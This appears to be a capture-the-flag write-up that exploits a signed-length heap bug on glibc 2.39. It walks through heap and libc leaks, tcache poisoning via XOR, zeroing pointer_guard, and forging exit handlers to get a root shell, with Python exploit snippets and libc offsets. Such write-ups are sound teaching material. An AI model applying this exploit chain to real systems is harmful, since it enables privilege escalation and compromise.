heapn⊕te-ic
Signed-length bug on glibc 2.39 turns into a heap primitive. Safe-linking leak, unsorted-bin libc leak, tcache poisoning through an XOR cipher, and a forged exit handler chain.
Heap bug on glibc 2.39 wrapped in an awkward XOR cipher. Final chain leaks the safe-linking key, leaks libc, zeros
pointer_guard, then forges twoinitialexit-handler entries soexit()runssetuid(0)followed bysystem("/bin/sh").
The full exploit (solve.py) lives in the source repository.
Binary notes
chall/chall_patched: Full RELRO, Canary, NX, PIE, IBT, SHSTK.- Bundled libc: glibc 2.39.
- Relevant libc symbols (from the bundled build):
main_arena = 0x203ac0initial = 0x204fc0system = 0x58750setuid = 0x10eac0pointer_guard = libc_base + 0x3ba770
__free_hook exists but is not the path used. Exit handlers are cleaner on modern glibc.
Root bug
The interesting code is in create_message():
uVar1 = read_int32();
if ((int)uVar1 < 0x7f) {
cypher_message(__s + 8, uVar1 & 0xff, *(undefined4 *)(__s + 4));
__s[(long)(int)(uVar1 & 0xff) + 8] = 0;
*__s = (char)uVar1;
}
- The size check is signed (
(int)uVar1 < 0x7f). - The stored length is low byte only (
*__s = (char)uVar1). - So
size = -1passes the signed check, stored size becomes0xff, and XOR runs over0xffbytes.
Each message is allocated as malloc(0x88) with an 8-byte metadata header. The “valid” buffer is therefore 0x80 bytes, but the code happily touches 0xff — reaching well into the next chunk at offset 0x88 (= 136).
The XOR layer
cypher_message() is reversible XOR but the decompilation is misleading. The practical model:
- seed the state with
djb2(str(seed)). - serialize as 64-bit little-endian.
- every 8 bytes, rehash the previous value with
djb2(str(cur)). - XOR the message with this rolling 8-byte keystream.
Block index for offset 136 is 136 / 8 = 17. The helpers djb2(), block_value(), and keystream() in solve.py model this exactly.
Heap leak (safe-linking)
- Allocate 10 chunks of the same size.
- Free chunk 9, then chunk 8.
- Reallocate chunk 8 with
size = -1. - Overread chunk 9’s first qword →
NULL ^ (chunk_page >> 12)— the safe-linking key for that heap page.
self.delete(9)
self.delete(8)
self.create(-1, b"X" * 8, 0)
self.heap_key = u64(self.viewn(8, 256)[136:144])
Libc leak (unsorted-bin)
Same size class (0x90) has a 7-slot tcache. Fill tcache, push the 8th free into the unsorted bin, then overread its fd:
for idx in range(3, 8):
self.delete(idx)
self.delete(0)
self.delete(1)
self.create(-1, b"Y" * 8, 0)
unsorted_fd = u64(self.viewn(0, 256)[136:144])
libc.address = unsorted_fd - (libc.sym["main_arena"] + 0x60)
XOR → tcache poisoning
XOR is linear. Each seed produces a deterministic keystream block at offset 136, so the set of achievable deltas to a freed chunk’s next pointer is a vector space over GF(2). Exploit._build_basis() builds a 64-bit basis of seeds, and Exploit.solve_delta() solves any target delta as a XOR sum.
The primitive becomes:
def poison_target(self, c_idx, b_idx, a_idx, target_addr):
self.delete(c_idx)
self.delete(b_idx)
self.delete(a_idx)
self.create(-1, b"Z" * 8, 0)
raw_next = u64(self.viewn(c_idx, 256)[136:144])
current = raw_next ^ self.k0
target = target_addr ^ self.heap_key
for seed in self.solve_delta(current ^ target):
self.delete(c_idx)
self.create(-1, b"Q" * 8, seed)
self.create(8, b"P" * 8, 0)
Defeating pointer mangling
glibc exit handlers use PTR_MANGLE, gated by pointer_guard in TLS (libc_base + 0x3ba770 here). Poison tcache onto that address, then allocate with size = 0:
ptr_guard = libc.address + POINTER_GUARD_OFFSET
self.poison_target(1, 5, 6, ptr_guard)
self.create(0, b"", 0)
size = 0 writes a single zero byte — big enough to zero the guard, small enough to not spray nearby TLS (stack canary, etc.). With guard = 0:
PTR_MANGLE(p) = rol64(p ^ guard, 17) = rol64(p, 17)
Forging the exit handler list
Tcache-poison one more allocation onto libc.sym["initial"] and write a fake
exit_function_list with two entries. Handlers run in reverse order, so
indexing them as [ setuid(0), system("/bin/sh") ] produces the right
runtime call order:
exit_blob = flat(
[
2,
4,
rol64(libc.sym["system"], 17),
next(libc.search(b"/bin/sh\x00")),
0,
4,
rol64(libc.sym["setuid"], 17),
0,
0,
],
word_size=64,
)
fgets() bans \n in stored messages, so encode_payload() brute-forces a seed whose XOR keystream yields payload bytes free of newlines.
Trigger
Menu option 4 calls exit(0). Glibc walks the forged list and the shell opens.
Takeaways
- A one-byte signedness bug can turn into a strong heap primitive when the program stores the truncated length.
- Safe-linking is not a barrier if you can leak the heap key first.
- On modern glibc,
exitmachinery is often a better target than the old hooks. - Pointer mangling is only as strong as
pointer_guard’s secrecy.